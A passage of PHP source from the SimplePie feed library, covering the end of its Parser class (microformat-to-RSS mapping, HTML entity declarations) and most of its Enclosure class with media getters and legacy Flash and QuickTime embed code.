                // The title and description are set to the empty string to represent
                // a deleted item (which also makes it an invalid rss item).
                if (isset($entry['properties']['deleted'][0])) {
                    $item['title'] = [['data' => '']];
                    $item['description'] = [['data' => '']];
                }
                $items[] = ['child' => ['' => $item]];
            }
        }
        // Mimic RSS data format when storing microformats.
        $link = [['data' => $url]];
        $image = '';
        if (!is_string($feed_author) &&
                isset($feed_author['properties']['photo'][0])) {
            $image = [['child' => ['' => ['url' =>
                [['data' => $feed_author['properties']['photo'][0]]]]]]];
        }
        // Use the name given for the h-feed, or get the title from the html.
        if ($feed_title !== '') {
            $feed_title = [['data' => htmlspecialchars($feed_title)]];
        } elseif ($position = strpos($data, '<title>')) {
            $start = $position < 200 ? 0 : $position - 200;
            $check = substr($data, $start, 400);
            $matches = [];
            if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
                $feed_title = [['data' => htmlspecialchars($matches[1])]];
            }
        }
        $channel = ['channel' => [['child' => ['' =>
            ['link' => $link, 'image' => $image, 'title' => $feed_title,
                  'item' => $items]]]]];
        $rss = [['attribs' => ['' => ['version' => '2.0']],
                           'child' => ['' => $channel]]];
        $this->data = ['child' => ['' => ['rss' => $rss]]];
        return true;
    }

    private static function set_doctype(string $data): string
    {
        // Strip DOCTYPE except if containing an [internal subset]
        $data = preg_replace('/^\\s*<!DOCTYPE\\s[^>\\[\\]]*>\s*/', '', $data) ?? $data;
        // Declare HTML entities only if no remaining DOCTYPE
        $doctype = preg_match('/^\\s*<!DOCTYPE\\s/', $data) ? '' : self::declare_html_entities();
        return $doctype . $data;
    }

    private static function declare_html_entities(): string
    {
        // This is required because the RSS specification says that entity-encoded
        // html is allowed, but the xml specification says they must be declared.
        return '<!DOCTYPE rss [ <!ENTITY nbsp "&#x00A0;"> <!ENTITY iexcl "&#x00A1;"> <!ENTITY cent "&#x00A2;"> <!ENTITY pound "&#x00A3;"> <!ENTITY curren "&#x00A4;"> <!ENTITY yen "&#x00A5;"> <!ENTITY brvbar "&#x00A6;"> <!ENTITY sect "&#x00A7;"> <!ENTITY uml "&#x00A8;"> <!ENTITY copy "&#x00A9;"> <!ENTITY ordf "&#x00AA;"> <!ENTITY laquo "&#x00AB;"> <!ENTITY not "&#x00AC;"> <!ENTITY shy "&#x00AD;"> <!ENTITY reg "&#x00AE;"> <!ENTITY macr "&#x00AF;"> <!ENTITY deg "&#x00B0;"> <!ENTITY plusmn "&#x00B1;"> <!ENTITY sup2 "&#x00B2;"> <!ENTITY sup3 "&#x00B3;"> <!ENTITY acute "&#x00B4;"> <!ENTITY micro "&#x00B5;"> <!ENTITY para "&#x00B6;"> <!ENTITY middot "&#x00B7;"> <!ENTITY cedil "&#x00B8;"> <!ENTITY sup1 "&#x00B9;"> <!ENTITY ordm "&#x00BA;"> <!ENTITY raquo "&#x00BB;"> <!ENTITY frac14 "&#x00BC;"> <!ENTITY frac12 "&#x00BD;"> <!ENTITY frac34 "&#x00BE;"> <!ENTITY iquest "&#x00BF;"> <!ENTITY Agrave "&#x00C0;"> <!ENTITY Aacute "&#x00C1;"> <!ENTITY Acirc "&#x00C2;"> <!ENTITY Atilde "&#x00C3;"> <!ENTITY Auml "&#x00C4;"> <!ENTITY Aring "&#x00C5;"> <!ENTITY AElig "&#x00C6;"> <!ENTITY Ccedil "&#x00C7;"> <!ENTITY Egrave "&#x00C8;"> <!ENTITY Eacute "&#x00C9;"> <!ENTITY Ecirc "&#x00CA;"> <!ENTITY Euml "&#x00CB;"> <!ENTITY Igrave "&#x00CC;"> <!ENTITY Iacute "&#x00CD;"> <!ENTITY Icirc "&#x00CE;"> <!ENTITY Iuml "&#x00CF;"> <!ENTITY ETH "&#x00D0;"> <!ENTITY Ntilde "&#x00D1;"> <!ENTITY Ograve "&#x00D2;"> <!ENTITY Oacute "&#x00D3;"> <!ENTITY Ocirc "&#x00D4;"> <!ENTITY Otilde "&#x00D5;"> <!ENTITY Ouml "&#x00D6;"> <!ENTITY times "&#x00D7;"> <!ENTITY Oslash "&#x00D8;"> <!ENTITY Ugrave "&#x00D9;"> <!ENTITY Uacute "&#x00DA;"> <!ENTITY Ucirc "&#x00DB;"> <!ENTITY Uuml "&#x00DC;"> <!ENTITY Yacute "&#x00DD;"> <!ENTITY THORN "&#x00DE;"> <!ENTITY szlig "&#x00DF;"> <!ENTITY agrave "&#x00E0;"> <!ENTITY aacute "&#x00E1;"> <!ENTITY acirc "&#x00E2;"> <!ENTITY atilde "&#x00E3;"> <!ENTITY auml "&#x00E4;"> <!ENTITY aring "&#x00E5;"> <!ENTITY aelig "&#x00E6;"> <!ENTITY ccedil "&#x00E7;"> <!ENTITY egrave "&#x00E8;"> <!ENTITY eacute "&#x00E9;"> <!ENTITY ecirc "&#x00EA;"> <!ENTITY euml "&#x00EB;"> <!ENTITY igrave "&#x00EC;"> <!ENTITY iacute "&#x00ED;"> <!ENTITY icirc "&#x00EE;"> <!ENTITY iuml "&#x00EF;"> <!ENTITY eth "&#x00F0;"> <!ENTITY ntilde "&#x00F1;"> <!ENTITY ograve "&#x00F2;"> <!ENTITY oacute "&#x00F3;"> <!ENTITY ocirc "&#x00F4;"> <!ENTITY otilde "&#x00F5;"> <!ENTITY ouml "&#x00F6;"> <!ENTITY divide "&#x00F7;"> <!ENTITY oslash "&#x00F8;"> <!ENTITY ugrave "&#x00F9;"> <!ENTITY uacute "&#x00FA;"> <!ENTITY ucirc "&#x00FB;"> <!ENTITY uuml "&#x00FC;"> <!ENTITY yacute "&#x00FD;"> <!ENTITY thorn "&#x00FE;"> <!ENTITY yuml "&#x00FF;"> <!ENTITY OElig "&#x0152;"> <!ENTITY oelig "&#x0153;"> <!ENTITY Scaron "&#x0160;"> <!ENTITY scaron "&#x0161;"> <!ENTITY Yuml "&#x0178;"> <!ENTITY fnof "&#x0192;"> <!ENTITY circ "&#x02C6;"> <!ENTITY tilde "&#x02DC;"> <!ENTITY Alpha "&#x0391;"> <!ENTITY Beta "&#x0392;"> <!ENTITY Gamma "&#x0393;"> <!ENTITY Epsilon "&#x0395;"> <!ENTITY Zeta "&#x0396;"> <!ENTITY Eta "&#x0397;"> <!ENTITY Theta "&#x0398;"> <!ENTITY Iota "&#x0399;"> <!ENTITY Kappa "&#x039A;"> <!ENTITY Lambda "&#x039B;"> <!ENTITY Mu "&#x039C;"> <!ENTITY Nu "&#x039D;"> <!ENTITY Xi "&#x039E;"> <!ENTITY Omicron "&#x039F;"> <!ENTITY Pi "&#x03A0;"> <!ENTITY Rho "&#x03A1;"> <!ENTITY Sigma "&#x03A3;"> <!ENTITY Tau "&#x03A4;"> <!ENTITY Upsilon "&#x03A5;"> <!ENTITY Phi "&#x03A6;"> <!ENTITY Chi "&#x03A7;"> <!ENTITY Psi "&#x03A8;"> <!ENTITY Omega "&#x03A9;"> <!ENTITY alpha "&#x03B1;"> <!ENTITY beta "&#x03B2;"> <!ENTITY gamma "&#x03B3;"> <!ENTITY delta "&#x03B4;"> <!ENTITY epsilon "&#x03B5;"> <!ENTITY zeta "&#x03B6;"> <!ENTITY eta "&#x03B7;"> <!ENTITY theta "&#x03B8;"> <!ENTITY iota "&#x03B9;"> <!ENTITY kappa "&#x03BA;"> <!ENTITY lambda "&#x03BB;"> <!ENTITY mu "&#x03BC;"> <!ENTITY nu "&#x03BD;"> <!ENTITY xi "&#x03BE;"> <!ENTITY omicron "&#x03BF;"> <!ENTITY pi "&#x03C0;"> <!ENTITY rho "&#x03C1;"> <!ENTITY sigmaf "&#x03C2;"> <!ENTITY sigma "&#x03C3;"> <!ENTITY tau "&#x03C4;"> <!ENTITY upsilon "&#x03C5;"> <!ENTITY phi "&#x03C6;"> <!ENTITY chi "&#x03C7;"> <!ENTITY psi "&#x03C8;"> <!ENTITY omega "&#x03C9;"> <!ENTITY thetasym "&#x03D1;"> <!ENTITY upsih "&#x03D2;"> <!ENTITY piv "&#x03D6;"> <!ENTITY ensp "&#x2002;"> <!ENTITY emsp "&#x2003;"> <!ENTITY thinsp "&#x2009;"> <!ENTITY zwnj "&#x200C;"> <!ENTITY zwj "&#x200D;"> <!ENTITY lrm "&#x200E;"> <!ENTITY rlm "&#x200F;"> <!ENTITY ndash "&#x2013;"> <!ENTITY mdash "&#x2014;"> <!ENTITY lsquo "&#x2018;"> <!ENTITY rsquo "&#x2019;"> <!ENTITY sbquo "&#x201A;"> <!ENTITY ldquo "&#x201C;"> <!ENTITY rdquo "&#x201D;"> <!ENTITY bdquo "&#x201E;"> <!ENTITY dagger "&#x2020;"> <!ENTITY Dagger "&#x2021;"> <!ENTITY bull "&#x2022;"> <!ENTITY hellip "&#x2026;"> <!ENTITY permil "&#x2030;"> <!ENTITY prime "&#x2032;"> <!ENTITY Prime "&#x2033;"> <!ENTITY lsaquo "&#x2039;"> <!ENTITY rsaquo "&#x203A;"> <!ENTITY oline "&#x203E;"> <!ENTITY frasl "&#x2044;"> <!ENTITY euro "&#x20AC;"> <!ENTITY image "&#x2111;"> <!ENTITY weierp "&#x2118;"> <!ENTITY real "&#x211C;"> <!ENTITY trade "&#x2122;"> <!ENTITY alefsym "&#x2135;"> <!ENTITY larr "&#x2190;"> <!ENTITY uarr "&#x2191;"> <!ENTITY rarr "&#x2192;"> <!ENTITY darr "&#x2193;"> <!ENTITY harr "&#x2194;"> <!ENTITY crarr "&#x21B5;"> <!ENTITY lArr "&#x21D0;"> <!ENTITY uArr "&#x21D1;"> <!ENTITY rArr "&#x21D2;"> <!ENTITY dArr "&#x21D3;"> <!ENTITY hArr "&#x21D4;"> <!ENTITY forall "&#x2200;"> <!ENTITY part "&#x2202;"> <!ENTITY exist "&#x2203;"> <!ENTITY empty "&#x2205;"> <!ENTITY nabla "&#x2207;"> <!ENTITY isin "&#x2208;"> <!ENTITY notin "&#x2209;"> <!ENTITY ni "&#x220B;"> <!ENTITY prod "&#x220F;"> <!ENTITY sum "&#x2211;"> <!ENTITY minus "&#x2212;"> <!ENTITY lowast "&#x2217;"> <!ENTITY radic "&#x221A;"> <!ENTITY prop "&#x221D;"> <!ENTITY infin "&#x221E;"> <!ENTITY ang "&#x2220;"> <!ENTITY and "&#x2227;"> <!ENTITY or "&#x2228;"> <!ENTITY cap "&#x2229;"> <!ENTITY cup "&#x222A;"> <!ENTITY int "&#x222B;"> <!ENTITY there4 "&#x2234;"> <!ENTITY sim "&#x223C;"> <!ENTITY cong "&#x2245;"> <!ENTITY asymp "&#x2248;"> <!ENTITY ne "&#x2260;"> <!ENTITY equiv "&#x2261;"> <!ENTITY le "&#x2264;"> <!ENTITY ge "&#x2265;"> <!ENTITY sub "&#x2282;"> <!ENTITY sup "&#x2283;"> <!ENTITY nsub "&#x2284;"> <!ENTITY sube "&#x2286;"> <!ENTITY supe "&#x2287;"> <!ENTITY oplus "&#x2295;"> <!ENTITY otimes "&#x2297;"> <!ENTITY perp "&#x22A5;"> <!ENTITY sdot "&#x22C5;"> <!ENTITY lceil "&#x2308;"> <!ENTITY rceil "&#x2309;"> <!ENTITY lfloor "&#x230A;"> <!ENTITY rfloor "&#x230B;"> <!ENTITY lang "&#x2329;"> <!ENTITY rang "&#x232A;"> <!ENTITY loz "&#x25CA;"> <!ENTITY spades "&#x2660;"> <!ENTITY clubs "&#x2663;"> <!ENTITY hearts "&#x2665;"> <!ENTITY diams "&#x2666;"> ]>';
    }
}

class_alias('SimplePie\Parser', 'SimplePie_Parser');
Enclosure.php000064400000076616151450001630007227 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles everything related to enclosures (including Media RSS and iTunes RSS)
 *
 * Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()}
 */
class Enclosure
{
    /**
     * @var ?string
     * @see get_bitrate()
     */
    public $bitrate;

    /**
     * @var Caption[]|null
     * @see get_captions()
     */
    public $captions;

    /**
     * @var Category[]|null
     * @see get_categories()
     */
    public $categories;

    /**
     * @var ?int
     * @see get_channels()
     */
    public $channels;

    /**
     * @var ?Copyright
     * @see get_copyright()
     */
    public $copyright;

    /**
     * @var Credit[]|null
     * @see get_credits()
     */
    public $credits;

    /**
     * @var ?string
     * @see get_description()
     */
    public $description;

    /**
     * @var ?int
     * @see get_duration()
     */
    public $duration;

    /**
     * @var ?string
     * @see get_expression()
     */
    public $expression;

    /**
     * @var ?string
     * @see get_framerate()
     */
    public $framerate;

    /**
     * @var ?string
     * @see get_handler()
     */
    public $handler;

    /**
     * @var string[]|null
     * @see get_hashes()
     */
    public $hashes;

    /**
     * @var ?string
     * @see get_height()
     */
    public $height;

    /**
     * @deprecated
     * @var null
     */
    public $javascript;

    /**
     * @var string[]|null
     * @see get_keywords()
     */
    public $keywords;

    /**
     * @var ?string
     * @see get_language()
     */
    public $lang;

    /**
     * @var ?int
     * @see get_length()
     */
    public $length;

    /**
     * @var ?string
     * @see get_link()
     */
    public $link;

    /**
     * @var ?string
     * @see get_medium()
     */
    public $medium;

    /**
     * @var ?string
     * @see get_player()
     */
    public $player;

    /**
     * @var Rating[]|null
     * @see get_ratings()
     */
    public $ratings;

    /**
     * @var ?Restriction[]
     * @see get_restrictions()
     */
    public $restrictions;

    /**
     * @var ?string
     * @see get_sampling_rate()
     */
    public $samplingrate;

    /**
     * @var string[]|null
     * @see get_thumbnails()
     */
    public $thumbnails;

    /**
     * @var ?string
     * @see get_title()
     */
    public $title;

    /**
     * @var ?string
     * @see get_type()
     */
    public $type;

    /**
     * @var ?string
     * @see get_width()
     */
    public $width;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @uses idn_to_ascii If available, this will convert an IDN
     *
     * @param null $javascript
     * @param Caption[]|null $captions
     * @param Category[]|null $categories
     * @param Credit[]|null $credits
     * @param string[]|null $hashes
     * @param string[]|null $keywords
     * @param Rating[]|null $ratings
     * @param Restriction[]|null $restrictions
     * @param string[]|null $thumbnails
     */
    public function __construct(
        ?string $link = null,
        ?string $type = null,
        ?int $length = null,
        $javascript = null,
        ?string $bitrate = null,
        ?array $captions = null,
        ?array $categories = null,
        ?int $channels = null,
        ?Copyright $copyright = null,
        ?array $credits = null,
        ?string $description = null,
        ?int $duration = null,
        ?string $expression = null,
        ?string $framerate = null,
        ?array $hashes = null,
        ?string $height = null,
        ?array $keywords = null,
        ?string $lang = null,
        ?string $medium = null,
        ?string $player = null,
        ?array $ratings = null,
        ?array $restrictions = null,
        ?string $samplingrate = null,
        ?array $thumbnails = null,
        ?string $title = null,
        ?string $width = null
    ) {
        $this->bitrate = $bitrate;
        $this->captions = $captions;
        $this->categories = $categories;
        $this->channels = $channels;
        $this->copyright = $copyright;
        $this->credits = $credits;
        $this->description = $description;
        $this->duration = $duration;
        $this->expression = $expression;
        $this->framerate = $framerate;
        $this->hashes = $hashes;
        $this->height = $height;
        $this->keywords = $keywords;
        $this->lang = $lang;
        $this->length = $length;
        $this->link = $link;
        $this->medium = $medium;
        $this->player = $player;
        $this->ratings = $ratings;
        $this->restrictions = $restrictions;
        $this->samplingrate = $samplingrate;
        $this->thumbnails = $thumbnails;
        $this->title = $title;
        $this->type = $type;
        $this->width = $width;

        if (function_exists('idn_to_ascii')) {
            $parsed = \SimplePie\Misc::parse_url($link ?? '');
            if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
                $authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
                $this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], $parsed['fragment']);
            }
        }
        $this->handler = $this->get_handler(); // Needs to load last
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the bitrate
     *
     * @return string|null
     */
    public function get_bitrate()
    {
        if ($this->bitrate !== null) {
            return $this->bitrate;
        }

        return null;
    }

    /**
     * Get a single caption
     *
     * @param int $key
     * @return \SimplePie\Caption|null
     */
    public function get_caption(int $key = 0)
    {
        $captions = $this->get_captions();
        if (isset($captions[$key])) {
            return $captions[$key];
        }

        return null;
    }

    /**
     * Get all captions
     *
     * @return Caption[]|null
     */
    public function get_captions()
    {
        if ($this->captions !== null) {
            return $this->captions;
        }

        return null;
    }

    /**
     * Get a single category
     *
     * @param int $key
     * @return \SimplePie\Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories
     *
     * @return \SimplePie\Category[]|null
     */
    public function get_categories()
    {
        if ($this->categories !== null) {
            return $this->categories;
        }

        return null;
    }

    /**
     * Get the number of audio channels
     *
     * @return int|null
     */
    public function get_channels()
    {
        if ($this->channels !== null) {
            return $this->channels;
        }

        return null;
    }

    /**
     * Get the copyright information
     *
     * @return \SimplePie\Copyright|null
     */
    public function get_copyright()
    {
        if ($this->copyright !== null) {
            return $this->copyright;
        }

        return null;
    }

    /**
     * Get a single credit
     *
     * @param int $key
     * @return \SimplePie\Credit|null
     */
    public function get_credit(int $key = 0)
    {
        $credits = $this->get_credits();
        if (isset($credits[$key])) {
            return $credits[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return Credit[]|null
     */
    public function get_credits()
    {
        if ($this->credits !== null) {
            return $this->credits;
        }

        return null;
    }

    /**
     * Get the description of the enclosure
     *
     * @return string|null
     */
    public function get_description()
    {
        if ($this->description !== null) {
            return $this->description;
        }

        return null;
    }

    /**
     * Get the duration of the enclosure
     *
     * @param bool $convert Convert seconds into hh:mm:ss
     * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
     */
    public function get_duration(bool $convert = false)
    {
        if ($this->duration !== null) {
            if ($convert) {
                $time = \SimplePie\Misc::time_hms($this->duration);
                return $time;
            }

            return $this->duration;
        }

        return null;
    }

    /**
     * Get the expression
     *
     * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
     */
    public function get_expression()
    {
        if ($this->expression !== null) {
            return $this->expression;
        }

        return 'full';
    }

    /**
     * Get the file extension
     *
     * @return string|null
     */
    public function get_extension()
    {
        if ($this->link !== null) {
            $url = \SimplePie\Misc::parse_url($this->link);
            if ($url['path'] !== '') {
                return pathinfo($url['path'], PATHINFO_EXTENSION);
            }
        }
        return null;
    }

    /**
     * Get the framerate (in frames-per-second)
     *
     * @return string|null
     */
    public function get_framerate()
    {
        if ($this->framerate !== null) {
            return $this->framerate;
        }

        return null;
    }

    /**
     * Get the preferred handler
     *
     * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
     */
    public function get_handler()
    {
        return $this->get_real_type(true);
    }

    /**
     * Get a single hash
     *
     * @link http://www.rssboard.org/media-rss#media-hash
     * @param int $key
     * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
     */
    public function get_hash(int $key = 0)
    {
        $hashes = $this->get_hashes();
        if (isset($hashes[$key])) {
            return $hashes[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return string[]|null Array of strings, see {@see get_hash()}
     */
    public function get_hashes()
    {
        if ($this->hashes !== null) {
            return $this->hashes;
        }

        return null;
    }

    /**
     * Get the height
     *
     * @return string|null
     */
    public function get_height()
    {
        if ($this->height !== null) {
            return $this->height;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get a single keyword
     *
     * @param int $key
     * @return string|null
     */
    public function get_keyword(int $key = 0)
    {
        $keywords = $this->get_keywords();
        if (isset($keywords[$key])) {
            return $keywords[$key];
        }

        return null;
    }

    /**
     * Get all keywords
     *
     * @return string[]|null
     */
    public function get_keywords()
    {
        if ($this->keywords !== null) {
            return $this->keywords;
        }

        return null;
    }

    /**
     * Get length
     *
     * @return ?int Length in bytes
     */
    public function get_length()
    {
        if ($this->length !== null) {
            return $this->length;
        }

        return null;
    }

    /**
     * Get the URL
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Get the medium
     *
     * @link http://www.rssboard.org/media-rss#media-content
     * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
     */
    public function get_medium()
    {
        if ($this->medium !== null) {
            return $this->medium;
        }

        return null;
    }

    /**
     * Get the player URL
     *
     * Typically the same as {@see get_permalink()}
     * @return string|null Player URL
     */
    public function get_player()
    {
        if ($this->player !== null) {
            return $this->player;
        }

        return null;
    }

    /**
     * Get a single rating
     *
     * @param int $key
     * @return \SimplePie\Rating|null
     */
    public function get_rating(int $key = 0)
    {
        $ratings = $this->get_ratings();
        if (isset($ratings[$key])) {
            return $ratings[$key];
        }

        return null;
    }

    /**
     * Get all ratings
     *
     * @return Rating[]|null
     */
    public function get_ratings()
    {
        if ($this->ratings !== null) {
            return $this->ratings;
        }

        return null;
    }

    /**
     * Get a single restriction
     *
     * @param int $key
     * @return \SimplePie\Restriction|null
     */
    public function get_restriction(int $key = 0)
    {
        $restrictions = $this->get_restrictions();
        if (isset($restrictions[$key])) {
            return $restrictions[$key];
        }

        return null;
    }

    /**
     * Get all restrictions
     *
     * @return Restriction[]|null
     */
    public function get_restrictions()
    {
        if ($this->restrictions !== null) {
            return $this->restrictions;
        }

        return null;
    }

    /**
     * Get the sampling rate (in kHz)
     *
     * @return string|null
     */
    public function get_sampling_rate()
    {
        if ($this->samplingrate !== null) {
            return $this->samplingrate;
        }

        return null;
    }

    /**
     * Get the file size (in MiB)
     *
     * @return float|null File size in mebibytes (1048 bytes)
     */
    public function get_size()
    {
        $length = $this->get_length();
        if ($length !== null) {
            return round($length / 1048576, 2);
        }

        return null;
    }

    /**
     * Get a single thumbnail
     *
     * @param int $key
     * @return string|null Thumbnail URL
     */
    public function get_thumbnail(int $key = 0)
    {
        $thumbnails = $this->get_thumbnails();
        if (isset($thumbnails[$key])) {
            return $thumbnails[$key];
        }

        return null;
    }

    /**
     * Get all thumbnails
     *
     * @return string[]|null Array of thumbnail URLs
     */
    public function get_thumbnails()
    {
        if ($this->thumbnails !== null) {
            return $this->thumbnails;
        }

        return null;
    }

    /**
     * Get the title
     *
     * @return string|null
     */
    public function get_title()
    {
        if ($this->title !== null) {
            return $this->title;
        }

        return null;
    }

    /**
     * Get mimetype of the enclosure
     *
     * @see get_real_type()
     * @return string|null MIME type
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the width
     *
     * @return string|null
     */
    public function get_width()
    {
        if ($this->width !== null) {
            return $this->width;
        }

        return null;
    }

    /**
     * Embed the enclosure using `<embed>`
     *
     * @deprecated Use the second parameter to {@see embed} instead
     *
     * @param array<string, mixed>|string $options See first parameter to {@see embed}
     * @return string HTML string to output
     */
    public function native_embed($options = '')
    {
        return $this->embed($options, true);
    }

    /**
     * Embed the enclosure using Javascript
     *
     * `$options` is an array or comma-separated key:value string, with the
     * following properties:
     *
     * - `alt` (string): Alternate content for when an end-user does not have
     *    the appropriate handler installed or when a file type is
     *    unsupported. Can be any text or HTML. Defaults to blank.
     * - `altclass` (string): If a file type is unsupported, the end-user will
     *    see the alt text (above) linked directly to the content. That link
     *    will have this value as its class name. Defaults to blank.
     * - `audio` (string): This is an image that should be used as a
     *    placeholder for audio files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `bgcolor` (string): The background color for the media, if not
     *    already transparent. Defaults to `#ffffff`.
     * - `height` (integer): The height of the embedded media. Accepts any
     *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `loop` (boolean): Do you want the media to loop when it's done?
     *    Defaults to `false`.
     * - `mediaplayer` (string): The location of the included
     *    `mediaplayer.swf` file. This allows for the playback of Flash Video
     *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
     *    Defaults to blank.
     * - `video` (string): This is an image that should be used as a
     *    placeholder for video files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `width` (integer): The width of the embedded media. Accepts any
     *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `widescreen` (boolean): Is the enclosure widescreen or standard?
     *    This applies only to video enclosures, and will automatically resize
     *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
     *
     * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
     * will default to 480x360 video resolution.  Widescreen (16:9) mode with
     * `width` and `height` set to `auto` will default to 480x270 video resolution.
     *
     * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
     * @param array<string, mixed>|string $options Comma-separated key:value list, or array
     * @param bool $native Use `<embed>`
     * @return string HTML string to output
     */
    public function embed($options = '', bool $native = false)
    {
        // Set up defaults
        $audio = '';
        $video = '';
        $alt = '';
        $altclass = '';
        $loop = 'false';
        $width = 'auto';
        $height = 'auto';
        $bgcolor = '#ffffff';
        $mediaplayer = '';
        $widescreen = false;
        $handler = $this->get_handler();
        $type = $this->get_real_type();
        $placeholder = '';

        // Process options and reassign values as necessary
        if (is_array($options)) {
            extract($options);
        } else {
            $options = explode(',', $options);
            foreach ($options as $option) {
                $opt = explode(':', $option, 2);
                if (isset($opt[0], $opt[1])) {
                    $opt[0] = trim($opt[0]);
                    $opt[1] = trim($opt[1]);
                    switch ($opt[0]) {
                        case 'audio':
                            $audio = $opt[1];
                            break;

                        case 'video':
                            $video = $opt[1];
                            break;

                        case 'alt':
                            $alt = $opt[1];
                            break;

                        case 'altclass':
                            $altclass = $opt[1];
                            break;

                        case 'loop':
                            $loop = $opt[1];
                            break;

                        case 'width':
                            $width = $opt[1];
                            break;

                        case 'height':
                            $height = $opt[1];
                            break;

                        case 'bgcolor':
                            $bgcolor = $opt[1];
                            break;

                        case 'mediaplayer':
                            $mediaplayer = $opt[1];
                            break;

                        case 'widescreen':
                            $widescreen = $opt[1];
                            break;
                    }
                }
            }
        }

        $mime = explode('/', (string) $type, 2);
        $mime = $mime[0];

        // Process values for 'auto'
        if ($width === 'auto') {
            if ($mime === 'video') {
                if ($height === 'auto') {
                    $width = 480;
                } elseif ($widescreen) {
                    $width = round((intval($height) / 9) * 16);
                } else {
                    $width = round((intval($height) / 3) * 4);
                }
            } else {
                $width = '100%';
            }
        }

        if ($height === 'auto') {
            if ($mime === 'audio') {
                $height = 0;
            } elseif ($mime === 'video') {
                if ($width === 'auto') {
                    if ($widescreen) {
                        $height = 270;
                    } else {
                        $height = 360;
                    }
                } elseif ($widescreen) {
                    $height = round((intval($width) / 16) * 9);
                } else {
                    $height = round((intval($width) / 4) * 3);
                }
            } else {
                $height = 376;
            }
        } elseif ($mime === 'audio') {
            $height = 0;
        }

        // Set proper placeholder value
        if ($mime === 'audio') {
            $placeholder = $audio;
        } elseif ($mime === 'video') {
            $placeholder = $video;
        }

        $embed = '';

        // Flash
        if ($handler === 'flash') {
            if ($native) {
                $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
            }
        }

        // Flash Media Player file types.
        // Preferred handler for MP3 file types.
        elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) {
            if (is_numeric($height)) {
                $height += 20;
            }

            if ($native) {
                $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
            }
        }

        // QuickTime 7 file types.  Need to test with QuickTime 6.
        // Only handle MP3's if the Flash Media Player is not present.
        elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) {
            if (is_numeric($height)) {
                $height += 16;
            }

            if ($native) {
                if ($placeholder !== '') {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                } else {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                }
            } else {
                $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
            }
        }

        // Windows Media
        elseif ($handler === 'wmedia') {
            if (is_numeric($height)) {
                $height += 45;
            }

            if ($native) {
